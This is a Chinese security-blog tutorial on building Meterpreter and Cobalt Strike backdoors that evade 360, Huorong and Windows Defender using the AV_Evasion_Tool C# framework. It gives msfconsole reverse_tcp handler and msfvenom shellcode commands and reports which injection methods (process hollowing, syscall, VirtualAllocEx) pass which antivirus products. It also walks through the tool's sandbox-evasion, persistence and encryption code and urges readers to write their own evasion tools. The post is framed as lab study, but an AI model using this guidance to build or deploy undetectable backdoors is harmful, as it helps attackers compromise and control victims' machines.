freeBuf
渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软
2021-02-02 16:25:26

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

市面上很多技术人员使用C语言编写图形化界面,接下来演示的将是利用C语言编写的图形化框架界面,调用各种机制进行Load注入,方式多种多样,最终达到全免杀的过程。

在对其底层源码进行多层次分析,分析其C语言框架思路,函数对应机制注入的分析,多样化和多元化的方式方法,拓展思路的同时学习简单的方法,能在此基础上做到自己的免杀工具,打造自我logo的免杀工具。

演示非常详细,共演示几种方法全免杀,演示细致从初部署环境到C#语言输出shellcode进行2021年如今全免杀的过程,开始!

二、环境介绍

1608213735_5fdb64e7aa0655a649f8f.png!small?1608213737710

黑客(攻击者)

IP:192.168.175.145

系统:kali.2020.4

windows 2019系统是黑客用于Nim编程制作免杀exe的系统。

VPS服务器:

此次模拟环境将直接越过VPS平台,已成功在VPS上进行了钓鱼行为。

办公区域:

系统:windwos 10

IP:192.168.2.142

存在:360、360杀毒、火绒、deferencer,以及全球和全国杀软平台检测。

目前黑客通过kali系统进行攻击行为,通过钓鱼获得了对方的权限后,发现对方电脑上存在360、360杀毒、火绒、deferencer直接被杀软进行了查杀,无法进行反弹shell获得权限,如今将演示利用C语言框架配合C#语言进行六种加密混淆方式,以及底层分析生成免杀exe,并控制对方的过程。

三、环境部署

在Windows server 2019系统环境进行开始部署:

1、安装gcc环境

安装地址:

https://github.com/jmeubank/tdm-gcc/releases/download/v9.2.0-tdm64-1/tdm64-gcc-9.2.0.exe

1612363780_601ab804e7510676d1ebb.png!small?1612363782076

选择Create
1612363786_601ab80af0e2521f9b181.png!small?1612363788415

如图选择
1612363792_601ab810339d7963aafb0.png!small?1612363793095

选择安装目录
1612363812_601ab8246d6c5734444e4.png!small?1612363814119

默认选择
1612363807_601ab81fe8d1afb8437bd.png!small?1612363808408

成功安装!

2、下载AV_Evasion_Tool

项目地址:

https://github.com/dayuxiyou/AV_Evasion_Tool/tags

1612363822_601ab82ecfce1975f332d.png!small?1612363823508

可看到作者2020年出了4个版本,底层分析四个版本都可以下载下来。
1612363828_601ab834231fdaa353a8a.png!small?1612363829740

下载后,分别打开2.0和3.0文件夹底部的.sln,选择Visual Studio 2019打开。
1612363833_601ab839cce02756d3c87.png!small?1612363838374

2.0和3.0执行方式一致,都重新生成即可。
1612363841_601ab841083f4f79746af.png!small?1612363841616

在bin/Debug目录下运行exe即可。

四、掩日2.0演示

1、测试msf后门

1612363846_601ab846680ba4e68aa9b.png!small?1612363849447

目前打开第一界面是极简界面。
填入本地开启的本端监听IP+端口,点击生成。

1612363852_601ab84ca79a9ecd541b1.png!small?1612363858800

生成后测试效果,全免杀。

1612363859_601ab8539096892e370fd.png!small?1612363892865

攻击系统kali运行msf:

msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.175.2; set lport 4444; exploit -j; "

1612363872_601ab8600bce4e126a9a6.png!small?1612363892866

在三件套杀软下,免杀并运行动态交互命令,正常。

2、进阶版介绍

1612363882_601ab86ae06a500c0abde.png!small?1612363892866

1. 支持32和64位系统

2. 支持C和C#语言的shellcode编译

3. 执行方式有四种

4. 注入进程写死为:notepad.exe #可在底层修改

5. 可简单过沙箱。

只需要在框中黏贴shellcode代码执行即可生成exe后门。

1)创建shellcode-C#/C

1612363905_601ab8819f15953a26949.png!small?1612363906383

创建C#和C的shellcode。

2)C-shellcode测试免杀

1612363913_601ab8894b6c498050472.png!small?1612363923599

在测试C的shellcode生成时...

1612363918_601ab88e0e295eca9c356.png!small?1612363923600

四种方式执行生成的后门都是直接被秒杀!

3)C#-shellcode测试免杀

1612363925_601ab895360e23b523aca.png!small?1612363926147

可看到火绒秒杀了...

1612363931_601ab89b6a05abd24372d.png!small?1612363940879

360和deferencer可免杀,已上线并正常命令交互控制。

可看到经过测试得出结果:

1. MSF后门全免杀。

2. C#免杀360和deferencer,火绒秒杀。

2.0的版本混淆的C#和msf免杀还是有用的,那么继续分析3.0的版本。

五、掩日3.0演示

1、详细框架介绍

1612363944_601ab8a84f5486cd6492d.png!small?1612363959629

运行Visual Studio 2019生成的exe文件。

1612363949_601ab8ad708e833b801f6.png!small?1612363959629

1. 支持32和64位系统 2. 生成格式有三种 3. 支持msf、C和C#语言的shellcode编译 4. 执行方式有七种 5. 注入进程可自行修改(2.0写死无法修改) 6. 可简单过沙箱 7. 支持隐藏执行界面 .....

只需要在框中黏贴shellcode代码执行即可生成exe后门。

2、演示免杀

这里C语言shellcode就不写出来了,C后门都不免杀。

1)测试直接执行两种

直接执行VirtualAlloc和VirtualProtect:

VirtualAlloc是一个Windows API函数,该函数的功能是在调用进程的虚地址空间,预定或者提交一部分页。
简单点的意思就是申请内存空间

VirtualProtect,是对应 Win32 函数的逻辑包装函数,它会在呼叫处理程序的虚拟位置空间里,变更认可页面区域上的保护。
1612363989_601ab8d5ef5ce83dc2bd6.png!small?1612363995813

生成C#的exe后门文件 ...

1612363996_601ab8dc3076f278ceb89.png!small?1612364001480

可看到全免杀,这里窗口提示点击下隐藏执行界面在生成即可解决。

1612364002_601ab8e208b414bedad9c.png!small?1612364008358

那么在经过交互测试,动态交互情况下,也是稳定正常控制全免杀的。

2)测试新进程注入

VirtualAllocEx 函数的作用是在指定进程的虚拟空间保留或提交内存区域,除非指定MEM_RESET参数,否则将该内存区域置0。
1612364016_601ab8f032974f1bcb260.png!small?1612364018406

生成C#的VirtualAllocEx后门。

1612364022_601ab8f673c0c17ba4096.png!small?1612364023526

无法过火绒...

1612364027_601ab8fb6d3b9b3196a7f.png!small?1612364035507

但360和360杀毒以及Defender杀软都可免杀。

3)SYSCALL测试

SYSCALL是内核系统调用。

1612364036_601ab9044970c3d7d4ccb.png!small?1612364039909

生成C#的SYSCALL后门。

1612364042_601ab90a7c225c583a836.png!small?1612364055270

那么在经过交互测试,动态交互情况下,也是稳定正常控制全免杀的。
尝试修改为PID值为powershell.exe上线,默认是notepad.exe!也是正常全免杀的。

4)进程镂空测试

进程镂空(Process Hollowing):

Process Hollowing是一种检测机制,这里底层写入了绕过Process Hollowing的混淆方法。
1612364049_601ab91190ebd163f282b.png!small?1612364055271

生成C#的镂空后门。

1612364058_601ab91a37a4368d8c6e8.png!small?1612364079232

那么在经过交互测试,动态交互情况下,也是稳定正常控制全免杀的。

两种msf生成后门的方法:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f c

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f csharp

到这里测试了几种C#的方法,MSF的shellcode都是全免杀的,我就不写出来了,接下来将简单查看下底层代码如何混淆的,以及如何简单修改等思路。

六、底层分析

1、底层分析掩日2.0源码

1)C_Template.cs文件1612364067_601ab9238e3832940f09b.png!small?1612364079233

可看到C_Template.cs文件是对应GetProcAddress注入方式的,分析得来是利用动态进行申请内存,强制类型转换成函数指针然后嵌入式汇编执行shellcode等。

1612364124_601ab95c0ad1aa95c41ff.png!small?1612364130023

C_Template.cs文件往下看还体现了注入到新进程的PID,延时绕沙箱,检查注册表和文件绕虚拟机底层代码,那么这里可以根据延时和时间判断进行模拟修改测试。

2)Common.cs文件
1612364157_601ab97d87b5edf1ebc4c.png!small?1612364163304

Common.cs文件可看到执行的是混淆随机字符串,生成的shellcode通过cmd执行运行,这里可以在字符串下手修改。

3)Core.cs文件
这里Compiler.cs文件就越过了,是调用接口的文件。
1612364168_601ab9889de0304c6dab8.png!small?1612364173955

Core.cs文件源码是对应掩日2.0图形化极简切换代码,以及编译使用了gcc的lws2_32模块生成exe,以及处理shellcode形式为C#,这块目前测试C#全免杀,熟悉了解即可不修改。

4)CS_Template.cs文件

1612364176_601ab990789527261a5ce.png!small?1612364193211

从图中可看到CS_Template.cs文件主要涵盖了三种注入方式的底层源码执行,其中有GetProcAddress、VirtualProtect、syscall注入现有进程,以及底层还有沙箱绕过的机制代码和开启自启等代码,这里不需要修改,但思路是可在后续添加新注入混淆机制,就在这里加就行。

CS_Template.cs文件添加了syscall注入现有进程机制是为了更新3.0版本做的铺垫。

5)Form1.cs
1612364184_601ab9986f4c0ce489221.png!small?1612364193213

这里也是比较重要的,在零基础分析上需要利用C语言设计图形框架,可以借鉴作者的思路,在此基础上进行修改增添,双击即可达到图形化上的相对应界面。

6)简单总结

后续几个文件都是调用对接接口的源码文件,就不进行解析了,这里主要总结的是三点:

1. 一个是图形化界面的修改增添。 2. 注入方式的修改 3. 混淆方式字符串和exe的定位

抓住三个核心点,在谷歌上找寻C和C#配合的别的机制,进行增添修改可达到功能的增加,免杀更多元多样化。

2、底层分析掩日3.0源码

1)DotNetToJScript.cs文件

1612364208_601ab9b07270788a15cac.png!small?1612364216624

DotNetToJScript.cs文件是DotNetToJScript工具的源代码,主要作用是引导任意.NET程序集和JScript类型的,例如执行交互创建对象记事本exe等。

2) Encrypter.cs文件

1612364218_601ab9ba25e111357a27e.png!small?1612364245978

Encrypter.cs文件底层就是一个加密函数的源码,执行后对shellcode进行加密处理。

3)Form1.cs文件

1612364224_601ab9c0188445e0680fc.png!small?1612364259578

Form1.cs和Form2.cs文件是都是一个意思,都是对于增添图形化界面做修改的,在2.0代码分析就提过了,这里直接底层修改即可。

4)Global_Var.cs文件

1612364315_601aba1b64cc1e5e3b39b.png!small?1612364331416

这是3.0版本的新功能,底层代码作用是新生成个类似公网VPS作用的服务器,类似于分离免杀的功能,生成HTTP服务,并让对方执行下载运行的道理。这儿还在待开发阶段,可自行深入研究修改。

往下两个IScriptGenerator.cs文件都是调用接口然后对应函数的文件。

5) 11个TP注入源码文件

1612364323_601aba23508c9577144a9.png!small?1612364331416

后面11个TP开头的注入方式的源码文件,这里很可观了,我就不全截图了,这里和2.0的CS_Template.cs文件一样的道理,在2.0作者是把所有机制注入源码写入了CS_Template.cs单个文件中,在3.0作者将11种注入方式分别写出来了。
1612364240_601ab9d0296b918cbab22.png!small?1612364259577

可看到对应的就是图形化界面中的这些方式,修改的地方很较为限制,可在3.0版本中添加新机制注入得新创建cs后调用接口函数即可。

6)trojan.ico文件

1612364333_601aba2d64fe35387f43f.png!small?1612364341992

trojan.ico文件就是对应ico图标了,自行修改即可。

7)简单总结

对比2.0版本,3.0版本更新和优化还是很多的:

1. 隐藏执行界面 2. 新增加了7种免杀注入机制 3. 更换了三种方式输出 4. msf的人性化指示等 5. 图形化界面功能的扩大 ....

我们可以在2.0和3.0基础的比较下,分析了作者的简单优化思路,那么作为引路人的我,熟悉C语言底层代码函数的小伙伴,就可以开始利用知识对3.0版本上的源码框架在进一步写出自己的免杀工具附带更多的免杀注入机制,达到全免杀的效果了。

七、总结

在进行了环境介绍-> 环境部署-> 演示2.0版本免杀-> 演示3.0版本免杀-> 分析2.0版本源码-> 分析3.0版本源码的过程,中途也达到了全免杀的效果,对于简单的底层分析了作者的版本增添的思路,以及框架上源码的作用,对于制作新的免杀框架和新的注入机制提供了帮助。

在此基础上,免杀是主要的,写一款自己的免杀工具也是较为重要的,在这里带小伙伴们演示了一遍免杀C语言框架制作的简单过程以及思路,以及多种注入机制在目前2021年现今还能全免杀,在各种HVV期间给小伙伴们提供了更多的内网渗透的机会。引路人大余,加油小伙伴们。

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余

本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
文章目录